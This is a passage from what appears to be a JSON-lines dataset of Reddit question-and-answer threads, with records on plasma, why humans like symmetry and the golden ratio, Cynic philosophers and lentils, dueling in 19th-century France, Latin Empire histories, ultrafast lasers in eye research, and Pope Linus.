call this an ion). \n\nAnyway the thing about this is that the temperatures needed to create plasma tend to be very high so that each \"species\" of particles (electrons and positive ions) tend to be incredibly hot and act like two separate charged species of fluids. Charged fluids have all sorts of interesting properties in that they can interact with light and scatter it about in a variety of ways. In fact because the charged particles are \"free\" to move around so to speak, if the incoming light doesn't have a high enough frequency, it will be absorbed by the plasma because the jiggling of the electric and magnetic fields in the plasma (from our charged particle fluids) scatter the incoming light.\n\nSome examples of plasmas are lightning, and in fact fire! If you put a magnet near the smoke of a recently extinguished flame, you'll see the smoke become attracted/distorted by the magnetic field because the charged particles of the plasma can interact with them. (see an example of that here: _URL_0_).\n\nPlasmas are pretty useful and interesting things, you can use them to accelerate particles to within 0.00001% the speed of light, study astrophysical events and amplify laser pulses. However, since they scatter light, they can also be a nuisance, as in the case of inertial nuclear fusion where you fire lasers into a pellet in the hopes of compressing it so much that it explodes and gives you energy. The initial laser blasts tend to shoot off the outer layers of the capsule, turning it into a plasma so that the secondary lasers occasionally bounce off of them and back the way they came (the head of research at the National Ignition Facility says this can be a real pain as they tend to go back down laser channels and blow stuff up!).\n\nedit: Sorry, I should point out that in the video I posted, he uses two incredibly highly charged plates which use ELECTRIC fields to split the smoke into two, not quite the same as using an everyday ordinary magnet (although electric and magnetic fields are in fact part of the same thing!)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=a7_8Gc_Llr8"]]}
{"q_id": "9zp34u", "title": "why do humans love symmetry/the golden ratio so much? how did this trait help us to survive in the past?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9zp34u/eli5_why_do_humans_love_symmetrythe_golden_ratio/", "answers": {"a_id": ["eaawoxe", "eaay110", "eaayufw", "eab1nlm", "eab3igm", "eab3yhq", "eab5plf", "eab5yig", "eab84b5", "eab8k9q", "eab8xun", "eabip5p", "eabvozj", "eac30tg", "eac368y"], "score": [6292, 299, 3, 12, 27, 132, 12, 867, 2, 9, 127, 4, 2, 2, 2], "text": ["The ability to find patterns was essential for human development, be it on understanding animal habits or the envioriment around us, therefore liking patterns was a good trait that was passed down the generations since the more patterns you were able to identify the better a hunter or farmer you were allowing for you to have more children that would share the same interest for symetry and so on until today", "There are many reasons, here is one why we like symmetry in other humans.\n\nNon symmetry is a sign of damage: for example a scar.\n\nThe children of people with battle damage have a higher chance to also get battle damaged. (If the parent didn't see the predator on time because of bad eyesight, their children probably won't see good either)  And those children could die from the thing that caused the damage. So evolution wants you to pick a mate that is not battle damaged.", "I can't say specifically about golden ratio but I've studied art history at uni and aesthetics. There's different schools of thought, pragmatis aesthetics was my focus which says that a lot of things we find pleasing comes from things we find safe or serene (imagine still lake). Evolutionary standpoint brings forth the importance of symmetry as we tend to be pattern seeking. Maybe it has to do with a geometrically pleasing component for how our eyes perceive and draw information", "Remember that it\u2019s not individual genes that are passed down, its entire genomes. So it\u2019s entirely likely that some traits had no advantage at all, and only persisted by being passed along with other traits. Also it only has to improve reproductive success, not exclusively increased survival. It\u2019s easy to proscribe an evolutionary explanation to everything, but that isn\u2019t enough, we need evidence. Unfortunately we can\u2019t study pattern recognition in dead organisms, so the final answer may be un-knowable. That said, pattern recognition is so strong in humans that it\u2019s seems perfectly reasonable that it helped us survive, because we could draw conclusions and make predictions about our environment, thus guiding toward needs and away from harm. ", "A few comments so far are getting at this, but not quite on it. The one explanation I know of is the \u201cfluctuating asymmetry\u201d hypothesis, also called \u201cdevelopmental stability.\u201d And what it gets at is that symmetry is hard to achieve. Think about a developing embryo. It\u2019s starting from ground zero as a single cell and it\u2019s going to have to become this crazy coordinated multicellular organism that has all sorts of fun organs and tissues. But that single cell is going to have to develop into a symmetrical early embryo. And if we think about something like the eyes, for example, you can start to appreciate how crazy it is that we get two perfect eye balls, the same distance apart from our nose, with about the same angle upwards or downwards, and the same size, and the same distance forward or backward in our skull. Because both of those eyeballs started from a handful of cells separated by a HUGE distance (relative to the size of a cell), making some proteins and going on a long journey to get to the right spot to make an eyeball. It\u2019s like me telling you and a buddy to go to two different spots on either side of the state of Tennessee, walk south by the exact same distance, get there at the same time, recruit some friends along the way, and once you\u2019re there, build a tv that\u2019s exactly the same as your bud\u2019s on the other side of the state. Even if I gave both of you an identical set of instructions, you can imagine it might be a little difficult and you could end up with some differences between yours and his/her tv or where you built it. \n\nSo where this gets to your question is that, during development, stress makes it harder for the symmetry to be maintained. If I throw a tornado at your buddy as he\u2019s trying to walk down to the bottom of the state, it\u2019s probably going to screw up the perfect symmetry of the final product. And stress during development has bigger implications than just for our example of the eyeball. Maybe it makes it harder for you to reproduce. Or it shortens your life span. But that asymmetry will be there, and it\u2019ll clue everyone in that \u2014 this one has seen some shit. \n\nSymmetry could also a good indicator of your genetics. I\u2019m focusing on the environmental stuff that could impact development, but your genetics could also drive asymmetry. And in this case, someone might spot your asymmetry and think \u2014 this one is carrying a set of instructions for building TVs that\u2019s got some typos.\n\nThat\u2019s the basic idea (one of them). Also, if you\u2019re reading this and thinking \u201cFUCK, my ears aren\u2019t symmetrical. Guess I\u2019m damaged goods,\u201d don\u2019t worry. It\u2019s just an idea and you\u2019re a lovely, wonderful, quality human being.  ", "There is no proof the humans prefer the golden ratio more than any other ratio. \n\nThe phi ratio that Fibonacci and others discovered carried some fetish among some lesser artists and lesser mathematicians, like Pacioli, looking for a secret to beauty in paintings. There's none. You can't reduce art or beauty to a formula. That is why Pacioli's roommate, another famous artist, ignored that ratio in all his works. That roommate was Leonado di Vinci.\n\nHumans however do search for patterns to reduce complexity and comprehend reality in smaller units. It also means patterns made of well-known ratios are easily ignored by the human brain. If your art needs attention, then avoid known patterns.", "First of all, symmetry is innate in us as humans. As we develop on the cellular level, we \"grow\" symmetrically, this way is the most efficient energy- and space-wise. I am an engineer, not a biologist, but even without any special knowledge one can see that it is easier to scale and position similar basic shapes in space by locating them symmetrically in different directions rather than creating unique base paths on arbitrary distances (please correct me if I am wrong). [Not all cells grow in that way, though.](_URL_0_)\n\nNext is our vision which is binocular and has developed symmetrically [due to several circumstances](_URL_1_). The first thing we see are our limbs which are symmetrical and help us to create other things. We can also use our limbs as instruments which affects the subsequent creations.\n\nThe other things are many tools and equipment that humans use from the prehistoric times till present, either symmetrical by nature or use symmetrical work principles. Take pottery/pots, knives, axes, different pipes and other simple components that are combined into the complex ones into account. They directly affected the survival rate. The symmetry is effective in this way as it provides more working edges (blades, vents etc) and usually is easier to produce while having better efficiency.\n\nAs for the golden ratio, it appears in some natural patterns which have been witnessed by humans since the dawn of times, like leaves, conchs, some mineral growths and other things. First, it is aesthetically pleasing to our eyes but it is also an effective way of developing and growing. By implementing it in structures we can make them more efficient and durable. Paintings are more of an aesthetic value but architecture benefits from this ratio directly.\n\nPlease feel free to correct me.", "Brains seek negentropy and organization. That makes things easy to catalog. 100,000 is much easier to remember than 115,125 even though they are close in value. \n\nBeing able to recognize patterns is essential for retaining information. It makes it more compressible. Even zip files use this, they recognize patterns, so instead of 77777777777777 they just record it as \"14 sevens\" and that takes up less memory space, yet no information is lost. Brains use those same \"compression\" tricks to be able to represent and remember more information. ", "Sexual selection; it pays off to develop a sense of appreciation for symmetry in potential partners. They might have good genes, which leads to their well-coordinated development. That is ultimately reflected in a symmetric build, and a sexually desirable person. ", "So a trait being present doesn't mean it 'helped us survive in the past'.\n\nIt could be completely random.  Sometimes a trait will mutate, not effect things too much one way or the other, and by sheer happenstance stick around. These things happen.\n\nIt's a sloppy habit to assume that just because we observe a trait in a species, that it is there for some 'reason'.  Sometimes random mutations are just that. ", "Humans like symmetry in other humans and in food as it suggests good health and no deformities or issues that suggest some reason to avoid it.\n\nThe love for symmetry in general likely stems from both that aspect as well as a tendency towards creating repeating patterns. Patterns in turn allow humans to identify, communicate and understand one another, after all that's basically the concept from which all written and spoken language is derived.\n\nThe golden ratio is a bit of a tough one, there're a few theories, but many just raise further questions:\n\n* The human eyes and brain process images in the golden ratio more quickly than other aspects.\n\nThis, first, raises the question of why that might be the case and also doesn't really justify why rapid image processing would feel \"satisfying\"\n\n* Because other humans and some animals tend to be roughly similar to the golden ratio, we learned to identify the shape rapidly and dervie small pleasure from it to draw attention when scanning a horizon.\n\nThis features a bit of a leap; most animals and humans  *aren't* in the golden ratio, though they may be roughly approximate. Humans and predatory animals tend to be too narrow (thinner rectangle) and prey animals too tall (fatter rectangle). It also suggests that instinctively identifying the ratio rapidly would evolve a satisfaction response, which seems unlikely.\n\n* It's a learned response, if there is one at all. Humans see a lot of useful objects that roughly fit the ratio (doors, books, milk cartons, etc) and learn to \"enjoy\" the shape.\n\nThis theory can be questioned with the distinct reverse: that the shape of these objects are so designed because we enjoy the ratio in the first place. Beyond that, while many enjoy the golden ratio and many are indifferent to it, few enjoy other ratios more, despite other easy examples (lamps, soda bottles, chocolate bars etc feature thinner rectangles typically, but few prefer that ratio).\n\n----\n\nUltimately, jury is still out on the golden ratio and many claim there's no instinctual appreciation for it in the first place.", "Lots of answer about symetry, so I will instead answer about the golden ratio.\n\nLong story short, it is only a cultural thing. Some renaissance dudes decided it would be neat to put the golden ratio everywhere, and it caught on.\n\nMost biological/natural occurrences of the golden are false. There are occurrences of some phenomenon for which proportions *approximate* the golden ratio, because of the geometry of the phenomenon.\n\nI will just finish by saying most mathematicians don't really care about the golden ratio, since it is not a fundamental number in any capacity (like pi or e, that are awesome!)", "Well most things have been covered here but I\u2019ll give it a true ELI5 for an important point that hasn\u2019t been covered yet that I\u2019ve seen. Recognizing symmetry is important for identifying danger. For example, in a forest if you notice most trees are standing but some trees have been fell you can come to the conclusion that there may be a large animal in that direction. This can apply to many aspects but I\u2019d say most of these posts may be over analyzing it a bit and as far as research shows they actually don\u2019t know why we like symmetry so much but only a few theories. For example, ancient people even built their tools to be symmetrical although it offered to benefit and seemed to value the beauty of their tools, but we aren\u2019t sure why. ", "Symmetry in other humans - >  healthy human, no genetic fuckuppery, something you'd like to continue the human race together with.  \nLiking symmetry in other things probably derives from just that. So basically what I'm saying is when you like a symmetric thing, you probably kinda wanna hit that.  \n(I have no idea what I'm talking about)", "Maybe early humans who fancied, what could be described as, deformed or mutated early humans, had children that were more along the defect chain, and therefore had more severe mutations that lead to an early death and thus no new offspring.\n\n\nJust a guess from an evolutionary/Darwinian standpoint."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Asymmetric_cell_division", "https://en.wikipedia.org/wiki/Binocular_vision#Field_of_view_and_eye_movements"], [], [], [], [], [], [], [], []]}
{"q_id": "frod9i", "title": "Why would a man in Ancient Greece feel embarrassed for carrying a pot of soup in public?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/frod9i/why_would_a_man_in_ancient_greece_feel/", "answers": {"a_id": ["flxad0c"], "score": [1487], "text": ["*Q: How do you know if someone is a vegan?*\n\n*A: Don't worry. They'll tell you.*\n\n\"You are what you eat\" is usually said with some vague biological meaning. But it could be said just as true across cultures--and in cases like this one, *within* cultures. Our context here isn't just \"ancient Greece,\" but particular schools of philosophy: Cynic, Stoic, Pythagorean.\n\nLegumes were a major staple food for lower-class people in the ancient Mediterranean, to the extent that they gained a reputation as being *for* lower-class people. Their cheap cost and association with poor people were both very attractive to Cynic philosophers as elements of asceticism, self-sufficiency, and learning to disregard the honor/shame culture.\n\nLentils even became a theme in Cynic writing, perhaps even an in-joke. For example, Crates supposedly wrote an \"Encomium to the Lentil\" that used lentils as a metaphor for proper sexual as well as culinary behavior. And there are anecdotes in later writing that use bean consumption to distinguish among Pythagoreans (who shunned beans), Cynics (who ate beans as blandly as possible), and Stoics (who at least wanted their beans to taste *good*).\n\nThis particular anecdote with Krates and Zeno, historical or invented, is another case where legumes serve as the go-to example to illustrate a particular lesson. In this case, the basic point to consider is that *Zeno is rich AF.* He is not very happy about Being Seen hauling a pot of lentil soup around town. That is *not* a part of his social identity as a rich person. \n\nBut Krates, in the story, insists (a) it must be part of his social identity as a philosopher, and more importantly, (b) the disregard for his social identity as a rich person must become part of his identity, period.\n\nAs the anecdote runs, in the end Zeno is in an even worse situation in terms of social prestige: he doesn't even get a jar in which to carry around the soup. He has to do it on his legs.\n\nOf course, the paradox here is that our philosophers are merely playacting as poor--and playacting in such a way that they are probably instantly identifiable *as* rich people playacting. (Like the medieval Franciscans with their habits, hairstyles,  & c).\n\nSo:\n\n*Q: How do you know if someone is a philosopher?*\n\n*A: Don't worry. They'll tell you.*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "62tjhc", "title": "What role did dueling play in the politics and culture of 19th Century France?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/62tjhc/what_role_did_dueling_play_in_the_politics_and/", "answers": {"a_id": ["dfp2gd1"], "score": [9], "text": ["Paris, July 1893\n\n\u201cI have here in my hand a list of Members of this Chamber of Deputies who I can prove have profited from the aid given to the failed Panama Canal Company, yet have not yet been called to account for their corruption, and chief among them is Deputy Billacois, who has lined his grubby little pockets with no less than 500,000 Francs in his corrupt endeavors, and directed numerous contracts to friends and family members who have equally profited at the expense of the French taxpayer!\u201d^1\n\nThis was the last straw. Deputy Francois Billacois had been listening to Deputy Paul Moreau bluster on for several hours with his wild accusations of corruption and malfeasance in the ranks of the Radicals, but now to call Francois out by name? So what if he had made a few Francs during negotiations? He would have supported the measure anyways, so what was the harm in benefiting as well? This Boulangist blowhard had no *right* to call him out, with his own skeletons in the closet. He didn\u2019t have to take such impudence, especially here during political debate.\n\n\u201c**YOU LIE!!!**\u201d Francois bellowed out as he jumped to his feet. \u201cI have done nothing outside of the interests of France. I have done nothing for which to be raked over the coals, especially from some curr who supported the *treason* of G\u00e9n\u00e9ral Revanche! I shouldn\u2019t have to listen to such drivel.\u201d\n\n\u201cI speak truth! You are the one who profanes this chamber with your very presence\u201d Moreau retorted across the Chamber, as he made to continue his speech, but by now was drowned out by the general uproar of the Chamber as the other Deputies alternatively yelled out and chattered amongst themselves about the scene that had just unfolded. Moreau gave up his attempt to speak and left the podium, but not before staring across once more at Billacois who returned it. They both knew what to do.\n\n\u2014\u2014\u2014\u2014\u2014\u2014\n\nLeaving the Chamber, to return to his office, Francois wasted no time in sending for his brother-in-law, Antoine who had handled his previous affairs of honor, including his duel with the muckraking journalist Giraud.^2 It had been with pistols, and quite satisfying, even though he suspected that Antoine and the other Second had loaded half-powder charges for them.^3 This time though, he would insist on swords. For such a monstrous charge, and in the Chamber of Deputies itself! Although not the best of swordsman, he wouldn\u2019t be happy until he had drawn blood. \n\nAntoine arrived within the hour, and quickly assisted in drafting a letter requesting a retraction of the insult, or satisfaction.\n\n > Dear sir,\n\n > This morning in the Chamber of Deputies, you lived a terrible falsehood against my honorable person and a great imputation of my character. I demand an immediate retraction, in writing, of all accusations, and request additionally that clarifying remarks be made to the Chamber at the earliest possible. Should such terms not be agreeable, the bearer of this letter, Antoine LeClerc, is empowered to make all necessary arrangements on my behalf.\n\n > Regards,\n\n > Dep. Francois Billacois\n\nAntoine departed letter in hand. It was already too late in the evening to deliver it, so he would have to wait till the morning. They both expected the response to be in the negative though. No sense in pacing around when he wouldn\u2019t hear back for at least a day, so Billacois went out again to head to the salle. It had been several months since he last fenced, so a quick lesson with the master would do him good.^4 \n\n\u2014\u2014\u2014\u2014\u2014\n\nAntoine arrived at Moreau\u2019s apartments the next morning and delivered the letter, and provided his own address for the response. Moreau had little to say beyond the formalities, and returned inside. He of course would not retract. How could he expect to be returned to the Chamber if his constituents didn\u2019t believe him to be a man who stood by his word? The elections were only a month away, and it would be sure to weigh on their minds. Perhaps he exaggerated how much evidence he had collected, but he was *sure* that there was corruption. The Radicals were neck deep in it, he was sure, and this was a perfect opportunity to further weaken them. Clemenceau had already been forced to defend himself against D\u00e9roul\u00e8de for similar charges, and while the duel may have preserved his honor, it still seemed likely he wouldn\u2019t win re-election.^6 Billacois was popular in his district, but maybe this would help destabilize him. \n\nHe went out that afternoon to call on a fellow Deputy, another former Boulangist, Andre Delacroix, who was more experienced in these matters, having fought two duels to defend the General\u2019s honor in the last decade, and another with one of those Jewish profiteers^5 who had started the whole Panama mess to begin with. Delacroix, of course, quickly agreed that there was no sense in backing down, and took it upon himself to draft up a response accepting the challenge, and immediately went out to deliver it to Antoine.\n\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\n\n\u201cVery well\u201d replied Antoine upon reading the note, \u201cwe are prepared to proceed immediately. Francois will insist on swords for the encounter, as is his right.\u201d\n\n\u201cQuite acceptable. Moreau would only ask that they be \u00e9p\u00e9es, not sabres, as he has no experience with the latter.\u201d^7\n\n\u201cOf course. Do you have any suggestion you believe would be agreeable for the referee? It would be appropriate for it to be another Deputy, I believe, and we would not object to anyone from the Moderates to be a neutral observer.\u201d\n\n\u201cWould old Jean-Georges Borges? He has overseen several that I know of, and quite well from what I have heard.\u201d\n\n\u201cAgreed. We shall both supply a doctor, I assume, and shall we limit observing friends to three each? Additionally, would the Bois de Boulogne suit you. I have engaged there myself and it is quite easy to find a secluded area to proceed.\u201d\n\n\u201cWe would assent on both counts. Would Saturday morning be acceptable? It should allow enough time for our men to get their affairs in order and arrange for the officials. I will visit the Salle d\u2019Armes Friday and procure us a pair of swords.\u201d\n\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\n\nIt was still dark as Francois\u2019s cab bounced over the cobble-stones as they left the city center for their appointment. He and Antoine were joined by his brother, also Louis, and his fellow Radical Deputy Clemenceau. The Dr. Drumont was had arranged for his own transportation and would meet the party there.\n\n\u201cIf he thinks this duel is not in earnest, he is mistaken!\u201d Francois fumed. His mood over the entire episode had only gotten worse over the week, as good for nothing scribbler Giraud had reported quite unfairly on the outburst in the Chamber, and it was the talk of Paris now. Perhaps he would need to challenge him - again - as well. \u201cIf he drops his guard, I swear I\u2019ll skewer him! I know he has never gone beyond first blood, the coward. I\u2019ll show him what a real duel is.\u201d\n\n\u201cCareful\u201d piped up Louis. \u201cBloody him up all you want, but don\u2019t let let yourself get too angry. You aren\u2019t the young soldier of 1870, and when was the last time you fenced in earnest!? Push too hard and you\u2019re just as likely to trip over your feet I bet!\u201d Francois didn\u2019t respond to the jab, but only glowered harder now. \u201cSeriously though, brother, it does you no good if you kill him, however disreputable he may be. Leave him well bloodied by all means, but the last thing you need right now is to get the authorities involved.^8 Your constituents aren\u2019t wavering, *yet*, but that might be the push. Defend yourself and demonstrate the honor of your cause. It isn\u2019t like he slept with your mistress, let alone your Marie.\u201d^9\n\nMore glowers, and silence reigned for the rest of the ride.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "g1r9uh", "title": "Are there any books out there at all about the history of the Latin Empire of Constantinople?", "selftext": "I've been binge-reading a ton of Byzantine Empire history books (I just got done reading The Last Centuries of Byzantium by Donald Nicol which was fantastic) and I'm really interested now in learning more in-depth about the Latin Empire. I can't seem to find any books online about it though, I only really have it's Wikipedia page to turn to which is disappointing :(", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/g1r9uh/are_there_any_books_out_there_at_all_about_the/", "answers": {"a_id": ["fnjj3m0"], "score": [5], "text": ["In English, unfortunately no, there really hasn\u2019t been a lot written about the Latin Empire. The most recent one is:\n\nFilip Van Tricht, *The Latin Renovatio of Byzantium: The Empire of Constantinople* (1204-1228) (Brill, 2011)\n\nThis is really only about the first half of the Empire\u2019s existence. After 1228 it was mostly reduced to the area around Constantinople, and was surrounded by Bulgaria and the remnants of the Byzantine Empire in Nicaea and Epirus. But still, it lasted for another 30 years or so. For more about the years following 1228, another recent book is:\n\nGuy Perry, *John of Brienne: King of Jerusalem, Emperor of Constantinople, c. 1175-1237* (Cambridge University Press, 2016)\n\nThis is a biography of the emperor John, and not exactly a history of the Empire, although it does have a lot of contextual information about the Empire as well.\n\nAnother good one is:\n\nPeter Lock, *The Franks in the Aegean, 1204\u20131500* (Longman, 1995)\n\nHowever, this is mostly about the crusader states in Greece. Theoretically they were all subject to Constantinople\u2026but not really in practise. There are some chapters about the Empire as well, so it's still very useful.\n\nFor some older sources, there is:\n\nKenneth Setton, *The Papacy and the Levant, 1204-1571, vol 1: The Thirteenth and Fourteenth Centuries* (American Philosophical Society, 1976)\n\nI mention this mostly for the sake of completeness. A generous review of this book would be \u201cdifficult to read\u201d. I remember reading a pretty scathing review of it once\u2026actually it would probably have been better if I didn\u2019t mention it, haha. \n\nAlso pretty old, but the classic account in the big \u201cWisconsin History\u201d of the crusades, is:\n\nRobert L. Wolff, \u201cThe Latin Empire of Constantinople, 1204-1261\u201d, in *A History of the Crusades, vol 2: The Later Crusades, 1189-1311*, ed. Robert L. Wolff and Harry W. Hazard (University of Wisconsin Press, 1969), pp. 186-233\n\nThere is also the chapter in the New Cambridge Medieval History:\n\nDavid Jacoby, \"Byzantium after the Fourth Crusade: The Latin Empire of Constantinople and the Frankish States in Greece,\" in *The New Cambridge Medieval History, vol. 5, c. 1198-c. 1300*, ed. David Abulafia (Cambridge, 1999)\n\nMore has been written about the Latin Empire in French, Italian, and Greek, but I\u2019m not sure if those would be accessible to you. I should at least mention one in French, although it's very old now as well:\n\nJean Longnon, *L\u2019Empire Latin de Constantinople et la Principaut\u00e9 de More\u00e9* (Payot, 1949)\n\nI hope that helps! I would stick with Van Tricht, Perry, and Lock for the best, most up-to-date sources in English."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "mzzdr", "title": "AskScience AMA Series- IAMA Biomedical Engineer and I shoot ultrafast lasers into eyeballs.  AMAA!", "selftext": "I have graduate degrees in physics and biomedical engineering and am currently going for my PhD in biomedical engineering.  I specialize in biophotonics and biomechanics / structure of the eye.  \n\nMost of my research involves using ultrafast (read: femtosecond) lasers to exploit various awesome and funky nonlinear optical effects ranging from multiphoton absorption to plasma-mediated ablation to study the structure and biomechanics of ocular tissues.  \n\nAsk me about lasers, microscopes, eyes, LASIK surgery and anything else you might find interesting, and I'll do my best to answer your questions!\n\n**Edit**:  Well it's getting pretty late here, so I'm off to bed.  Thanks to everyone for asking so many great questions.  I had a lot of fun answering them!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mzzdr/askscience_ama_series_iama_biomedical_engineer/", "answers": {"a_id": ["c357g32", "c357jtb", "c357llv", "c3584os", "c358agw", "c358nlm", "c3599ri", "c35a0u6", "c35ajg3", "c357g32", "c357jtb", "c357llv", "c3584os", "c358agw", "c358nlm", "c3599ri", "c35a0u6", "c35ajg3"], "score": [14, 10, 2, 4, 2, 2, 2, 5, 2, 14, 10, 2, 4, 2, 2, 2, 5, 2], "text": ["Can you explain how LASIK works in a way that I could understand the common risks. I'm really interested in doing it so I could swim without being half blind. ", "Ultrafast? As in, faster than light?? I guess you talking about frequency.  \nThis sounds really interesting, I am a Pharmacology/Biomedical Student, looking for ideas for areas of research to go in to. This sounds like something exciting! \nA question for now: Do you think we will ever be able to create a mechanical 'eye' of similar (or better!) quality to our own? ", "What are future practical applications of your current work?  Does your research include eyes of other species?", "I have all kinds of questions about the lasers you are using but I will limit myself to two; feel free to be super detailed.  What kind of laser technology do you use Gas, Semiconductor, Other?  What kind of control system(s) do you use to pulse the lasers?", "What do you think about the future of bioengineering in general? I know it's a growing field, and I am a undergrad physics major that is interested in biophysics. Also, is UC Berkeley's bioengineering department pretty well respected? Just curious!", "Can you explain exactly what a biomedical engineer does and why you like your career? (if you do) I'm currently thinking if majoring in this (: ", "I have had a blind eye since birth and i was told when i was a kid by numerous doctors etc. that it would be permanent, i would like to know if anything has changed since then, 10+ years ago.\n\nIts supposedly a form of amblyopia (although it doesnt match any of the forms of that i looked up)\nBasically my eyesight is pretty much perfect in my right eye but if i block or close my good eye, the \"blind\" left eye will be able to see but everything is very blurry so its obviously not completely blind, its almost as if my brain is shutting it off so my good eye can work ok.\n\nI would love to hear insight on this, looking up eye surgery, that does not seem to be an option for this.", "So you shoot lasers INTO eyes... I want to shoot ultra fast lasers OUT of my eyes, what should I do to prepare for this, and when do you want to start?", "In one of your posts, you mention the cornea is avascular (lacking blood vessels). How do cells in the cornea receive the nutrients they need in order to function?", "Can you explain how LASIK works in a way that I could understand the common risks. I'm really interested in doing it so I could swim without being half blind. ", "Ultrafast? As in, faster than light?? I guess you talking about frequency.  \nThis sounds really interesting, I am a Pharmacology/Biomedical Student, looking for ideas for areas of research to go in to. This sounds like something exciting! \nA question for now: Do you think we will ever be able to create a mechanical 'eye' of similar (or better!) quality to our own? ", "What are future practical applications of your current work?  Does your research include eyes of other species?", "I have all kinds of questions about the lasers you are using but I will limit myself to two; feel free to be super detailed.  What kind of laser technology do you use Gas, Semiconductor, Other?  What kind of control system(s) do you use to pulse the lasers?", "What do you think about the future of bioengineering in general? I know it's a growing field, and I am a undergrad physics major that is interested in biophysics. Also, is UC Berkeley's bioengineering department pretty well respected? Just curious!", "Can you explain exactly what a biomedical engineer does and why you like your career? (if you do) I'm currently thinking if majoring in this (: ", "I have had a blind eye since birth and i was told when i was a kid by numerous doctors etc. that it would be permanent, i would like to know if anything has changed since then, 10+ years ago.\n\nIts supposedly a form of amblyopia (although it doesnt match any of the forms of that i looked up)\nBasically my eyesight is pretty much perfect in my right eye but if i block or close my good eye, the \"blind\" left eye will be able to see but everything is very blurry so its obviously not completely blind, its almost as if my brain is shutting it off so my good eye can work ok.\n\nI would love to hear insight on this, looking up eye surgery, that does not seem to be an option for this.", "So you shoot lasers INTO eyes... I want to shoot ultra fast lasers OUT of my eyes, what should I do to prepare for this, and when do you want to start?", "In one of your posts, you mention the cornea is avascular (lacking blood vessels). How do cells in the cornea receive the nutrients they need in order to function?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2u5mum", "title": "How would you go about calculation the distance the Earth travels in a given amount of time?", "selftext": "I don't just mean the distance a circular orbit around the sun covers. \r\rTaking into consideration the speed the entire solar system is moving from the big bang, how many (miles?) does the Earth travel on a spiral course over 365.25 days? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2u5mum/how_would_you_go_about_calculation_the_distance/", "answers": {"a_id": ["co5dsyv", "co5iigj"], "score": [3, 3], "text": ["The solar system isn't moving away from the Big Bang. ", "We're not moving away from the centre of the big bang. There isn't one. Our local group of galaxies are moving away from other groups of galaxies. The big bang doesn't have edges we can see. Some suspect that some other type of geometry or re-connected-ness is going on. Others think the universe is a dodecahedron reconnected on offset facets. We don't know. From our perspective the edge of visible space is the same everywhere. None of it shows any edge-like things althrough there are hints that large masses could be far beyond visible space.\n\nOur proper motion within our local group of galaxies isn't that big. We have motion around the sun, our rotation on the earth, rotation in the galaxy and the galaxy is in a local group. Beyond that its basically static space or what's commonly referred to as the co-moving frame. The comoving frame is the movement of all the motes of dust sitting in the expanding universe and floating in empty space far from any galaxies. We are moving relative to that frame but not by a lot. Most of our time dilation is probably just from being in a gravity well.\n\nEdit: Its crucial to look at inflation before looking at the Hubble constant. We are moving away due to the inflation that occurred during the first 10-^32 seconds. Its not acceleration. Time is moving the same for distant galaxies. They were never accelerated relative to us. They inflated to higher velocities."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "94w794", "title": "We all know about Saint Peter, the first Pope. But what do we know about the man who succeeded him? Who was Pope Linus, the second Bishop of Rome, and what did he do? Why and how was he chosen? And most importantly, is there evidence that he actually existed?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/94w794/we_all_know_about_saint_peter_the_first_pope_but/", "answers": {"a_id": ["e3owidn", "e3p0j3n"], "score": [429, 132], "text": ["I would highly recommend John Julius Norwich\u2019s excellent book \u201cThe Popes\u201d as an enjoyable and informative read. \n\nUnfortunately for your question, for the early Popes JJN states that  \u201cthere are still too many question marks for any confident deductions to be made.\u201d (p6).\n\nWhat can be said? St Irenaeus of Lyons wrote a list of the first thirteen Popes from St Peter to his contemporary Eleutheris (c175-89). \n\nHowever, until the 9th century the title \u201cPope\u201d was applied generally to any senior member of the community and may not specifically have been to the Bishop of Rome. It is speculated that Peter did not found the church in Rome but was subsequently \u201cmade\u201d the \u201cfirst\u201d Bishop of Rome as an honorific / way of later Popes trying to build prestige for themselves following the ascendancy of Rome as the head of the Catholic Church (something not in any way seen as likely in the first few hundred years of Christianity).\n\nFor the first few years Rome was a backwater for Christianity with the focus remaining in the more Greek-centric Levantine; we know more about the bishops of Smyrna and Antioch at this time as they were the leaders of the Church in its early years. \n\nFurthermore, a treatise called the Shepherd of Hermas, written in Rome at the beginning of the second century, speaks of \u201cRulers [plural] of the church\u201d. JJN goes on to say \u201cit is hard to say who was the first true Pope, or supreme bishop [of Rome]; but the process seems to have been complete by the time of Anicetus (c155-66)\u201d whom he notes as the 11th Pope.\n\nSo, facts about Linus: probably very little. Speculation about him: he was likely one of the actual founders of the church in Rome and would have been one of its head when Peter visited Rome (if he did) but he was not a bishop in the way that there were Bishops in the Middle East or as we now think of them.\n\nFor other early Bishops of Rome, we have Clement, who often appears as third or fourth in the list of Popes, and appears to have known Peter personally. Though all we have is a letter of his from Rome to Corinth from c96AD. \n\nUnfortunately we need to look to the 2nd century onwards for real knowledge about Bishops of Rome.\n\nFor fun Pope Facts, you may wish to learn about the execution of Pope Formosus (after he had already died, buried and exhumed), Marozia (\u201clover, mother and grandmother of Popes\u201d) or \u201cThe Great Pornocracy\u201d under Pope John XII.\n\nApologies for any typos, this is written on my phone.", "Precious little, and nothing certain.\n\nIrenaeus, in *Against Heresies* 3.3.3 (ca. 180 CE), provides a succession list for Rome (the episcopacy, let's remind ourselves that the 